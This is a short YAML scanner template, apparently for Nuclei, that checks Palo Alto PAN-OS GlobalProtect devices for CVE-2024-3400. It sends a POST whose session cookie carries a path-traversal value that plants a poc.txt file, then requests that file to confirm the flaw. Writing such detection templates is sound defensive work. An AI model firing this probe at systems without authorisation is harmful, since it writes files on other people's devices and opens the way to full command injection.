CVE-2024-3400.yaml

id: palo-alto-networks-pan-os-command-injection
info:
  name: Palo Alto Networks PAN-OS Command Injection Vulnerability
  author: generated with pdteam AI
  severity: Critical

http:
  - method: POST
    path:
      - "{{BaseURL}}/ssl-vpn/hipreport.esp"
    headers:
      Cookie: "SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;"
      Connection: "close"
      Content-Type: "application/x-www-form-urlencoded"
      Content-Length: "0"
    matchers:
      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}/global-protect/portal/images/poc.txt"
    matchers:
      - type: status
        status:
          - 403